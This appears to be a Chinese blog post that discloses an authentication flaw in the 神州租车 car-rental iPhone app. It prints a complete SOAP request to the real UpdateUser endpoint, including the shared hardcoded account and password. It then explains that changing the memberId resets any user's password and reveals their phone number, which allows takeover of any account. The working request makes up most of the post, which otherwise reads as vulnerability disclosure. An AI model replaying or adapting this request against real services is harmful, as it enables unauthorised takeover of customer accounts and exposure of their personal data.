问题出在神州租车的app端,校验机制设计的太脆弱~ 下面是修改用户个人资料的请求数据包,数据包中的验证部分account、password居然是公共的所有用户的验证都是同样的值,又没有其他的验证机制,那么这里肯定可以修改任意用户的值~
POST http://sdk.zuche.com/CARSDK/services/zuche1 HTTP/1.1 Host: sdk.zuche.com Connection: close Accept-Encoding: gzip Content-Type: text/xml; charset=utf-8 Content-Length: 526 Connection: close SOAPAction: http://sdk.zuche.com/CARSDK/services/zuche1?UpdateUser User-Agent: 神州租车 2.6 (iPhone; iPhone OS 7.0.4; zh_CN) <?xml version='1.0' encoding='utf-8'?> <soap:Envelope xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' xmlns:xsd='http://www.w3.org/2001/XMLSchema' xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'> <soap:Header> <CheckSoap xmlns='http://tempuri.org/'> <Account>szzciphone</Account> <Password>szzc#iphone</Password> </CheckSoap> </soap:Header> <soap:Body> <UpdateUser xmlns='http://tempuri.org/'> <User>{"memberId":"3xxxx3","password":"123qwe","emailaddress":"xxxxx@sina.cn"}</User> </UpdateUser> </soap:Body> </soap:Envelope>
所以,我们通过修改memberId就能修改任意用户的信息,通过测试这里的emailaddress参数如果为空,将不会更改用户原来设置的值,修改不同id用户的密码后, 系统会返回该用户的帐号信息(手机号码),那么有了手机号码,我们就能登陆任意用户的帐号,下面是我自己的帐号测试结果; |
-
上一篇: 安全狗高权限时的提权方法 - 网站安全 - 自学p
下一篇: C#防SQL注入代码的实现方法 - 网站安全 - 自学ph
还没有人抢沙发呢~